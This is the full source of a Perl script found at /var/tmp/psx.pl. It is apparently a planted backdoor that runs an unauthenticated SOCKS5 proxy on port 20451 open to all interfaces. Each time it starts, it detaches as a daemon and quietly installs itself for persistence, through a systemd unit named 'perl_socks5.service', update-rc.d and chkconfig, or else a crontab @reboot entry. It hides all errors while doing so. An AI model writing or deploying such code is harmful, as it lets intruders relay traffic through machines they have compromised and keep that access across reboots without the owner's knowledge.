File: //var/tmp/psx.pl
#!/usr/bin/env perl
use strict;
use warnings;
use Socket;
use POSIX qw(setsid);
use IO::Select;
use File::Basename;
use Cwd 'abs_path';
my $LISTEN_PORT = 20451;
my $daemonize = 0;
my $LOG_FH;
sub add_to_autostart {
my ($script_path) = @_;
log_message("Attempting to add to autostart (ignoring errors)...");
my $abs_script_path = eval { abs_path($script_path) };
if (!$abs_script_path) {
log_message("Warning: cannot resolve abs path of $script_path, using as is");
$abs_script_path = $script_path;
}
my $have_systemd = 0;
if (-d "/etc/systemd/system" and -w "/etc/systemd/system") {
$have_systemd = 1;
}
if ($have_systemd) {
system("mkdir -p /etc/systemd/system 2>/dev/null || true");
system("touch /etc/systemd/system/perl_socks5.service 2>/dev/null || true");
system("chmod 644 /etc/systemd/system/perl_socks5.service 2>/dev/null || true");
my $unit = <<EOF;
[Unit]
Description=Perl SOCKS5 proxy
[Service]
Type=simple
ExecStart=$abs_script_path -d
Restart=always
[Install]
WantedBy=multi-user.target
EOF
if (open my $fh, '>', '/etc/systemd/system/perl_socks5.service') {
print $fh $unit;
close $fh;
}
system("systemctl daemon-reload 2>/dev/null || true");
system("systemctl enable perl_socks5.service 2>/dev/null || true");
system("update-rc.d perl_socks5 defaults 2>/dev/null || true");
system("chkconfig --add perl_socks5 2>/dev/null || true");
} else {
log_message("No root privileges for system-wide autostart. Trying user-level methods...");
my $cron_cmd = qq{( (crontab -l 2>/dev/null || echo "") | grep -v '$abs_script_path'; echo '\@reboot $abs_script_path -d' ) | crontab - 2>/dev/null || true};
system($cron_cmd);
}
log_message("Autostart attempt done.");
}
sub log_message {
my ($msg) = @_;
my $time_str = localtime();
if ($!) {
print $LOG_FH "[$time_str] ERROR: $msg - $!\n";
$! = 0;
} else {
print $LOG_FH "[$time_str] INFO: $msg\n";
}
if ($LOG_FH) {
select($LOG_FH);
$|=1;
select(STDOUT);
}
}
sub daemonize_me {
my $pid = fork();
if (!defined $pid) {
die "Can't fork: $!";
}
if ($pid) {
exit 0;
}
setsid();
$pid = fork();
if (!defined $pid) {
die "Can't fork again: $!";
}
if ($pid) {
exit 0;
}
umask 0;
chdir '/';
close(STDIN);
close(STDOUT);
close(STDERR);
}
sub handle_client {
my $client_sock = shift;
my $hdr;
if (sysread($client_sock, $hdr, 2) != 2) {
return;
}
my ($ver, $nmethods) = unpack("CC", $hdr);
if ($ver != 5) {
return;
}
my $methods_data;
if (sysread($client_sock, $methods_data, $nmethods) != $nmethods) {
return;
}
my $supports_noauth = 0;
for my $m (unpack("C$nmethods", $methods_data)) {
if ($m == 0) {
$supports_noauth = 1;
last;
}
}
if (!$supports_noauth) {
syswrite($client_sock, pack("CC", 5, 0xFF));
return;
}
syswrite($client_sock, pack("CC", 5, 0));
if (sysread($client_sock, $hdr, 4) != 4) {
return;
}
my ($ver2, $cmd, $rsv, $atyp) = unpack("CCCC", $hdr);
if ($ver2 != 5 or $cmd != 1) {
my $fail = pack("CCCC", 5, 5, 0, 1).pack("Nn", 0, 0);
syswrite($client_sock, $fail);
return;
}
my $addr;
if ($atyp == 1) {
if (sysread($client_sock, $addr, 4) != 4) { return; }
} elsif ($atyp == 3) {
my $dom_len_buf;
if (sysread($client_sock, $dom_len_buf, 1) != 1) { return; }
my $dom_len = unpack("C", $dom_len_buf);
if (sysread($client_sock, $addr, $dom_len) != $dom_len) { return; }
} elsif ($atyp == 4) {
if (sysread($client_sock, $addr, 16) != 16) { return; }
} else {
my $fail = pack("CCCC", 5, 5, 0, 1).pack("Nn", 0, 0);
syswrite($client_sock, $fail);
return;
}
my $port_buf;
if (sysread($client_sock, $port_buf, 2) != 2) {
return;
}
my $port = unpack("n", $port_buf);
my ($remote_sock, $remote_addr) = connect_remote($atyp, $addr, $port);
if (!defined $remote_sock) {
my $fail = pack("CCCC", 5, 5, 0, 1).pack("Nn", 0, 0);
syswrite($client_sock, $fail);
return;
}
my $rep = pack("CCCC", 5, 0, 0, 1).pack("Nn", 0, 0);
syswrite($client_sock, $rep);
relay($client_sock, $remote_sock);
close($remote_sock);
close($client_sock);
}
sub connect_remote {
my ($atyp, $addr, $port) = @_;
my $ip_str;
if ($atyp == 1) {
my @oct = unpack("C4", $addr);
$ip_str = join('.', @oct);
} elsif ($atyp == 3) {
$ip_str = $addr;
} elsif ($atyp == 4) {
if ($] < 5.014) {
return;
} else {
require Socket;
Socket->import(qw(AF_INET6 SOCK_STREAM pack_sockaddr_in6));
my $packed = $addr;
return;
}
} else {
return;
}
my $target_packed;
if ($ip_str =~ /^\d{1,3}(\.\d{1,3}){3}$/) {
my $dest_iaddr = inet_aton($ip_str);
return unless $dest_iaddr;
$target_packed = sockaddr_in($port, $dest_iaddr);
} else {
my $dest_iaddr = inet_aton($ip_str);
unless ($dest_iaddr) {
return;
}
$target_packed = sockaddr_in($port, $dest_iaddr);
}
socket(my $sock, AF_INET, SOCK_STREAM, 0) or return;
if (!connect($sock, $target_packed)) {
return;
}
return ($sock, $target_packed);
}
sub relay {
my ($sock1, $sock2) = @_;
my $sel = IO::Select->new();
$sel->add($sock1);
$sel->add($sock2);
while(1) {
my @ready = $sel->can_read();
last unless @ready;
foreach my $s (@ready) {
my $buf;
my $r = sysread($s, $buf, 65536);
if (!defined $r || $r == 0) {
return;
}
my $other = ($s == $sock1) ? $sock2 : $sock1;
my $written = syswrite($other, $buf);
if (!defined $written) {
return;
}
}
}
}
sub main {
for (my $i=0; $i<@ARGV; $i++) {
if ($ARGV[$i] eq '-n') {
$i++;
$LISTEN_PORT = $ARGV[$i] if defined $ARGV[$i];
} elsif ($ARGV[$i] eq '-d') {
$daemonize = 1;
} elsif ($ARGV[$i] eq '-h') {
print "Usage: $0 [-n port] [-d]\n";
exit 0;
}
}
$LOG_FH = *STDOUT;
if ($daemonize) {
daemonize_me();
}
add_to_autostart($0);
log_message("Starting Perl SOCKS5 proxy on port $LISTEN_PORT...");
socket(my $listen_sock, AF_INET, SOCK_STREAM, 0) or die "socket: $!";
setsockopt($listen_sock, SOL_SOCKET, SO_REUSEADDR, pack("l",1));
my $local_addr = sockaddr_in($LISTEN_PORT, INADDR_ANY);
bind($listen_sock, $local_addr) or die "bind: $!";
listen($listen_sock, 20) or die "listen: $!";
while(1) {
my $client_addr = accept(my $client_sock, $listen_sock);
if (!$client_addr) {
next;
}
my $pid = fork();
if (!defined $pid) {
handle_client($client_sock);
close($client_sock);
} elsif ($pid == 0) {
close($listen_sock);
handle_client($client_sock);
close($client_sock);
exit 0;
} else {
close($client_sock);
}
}
}
main();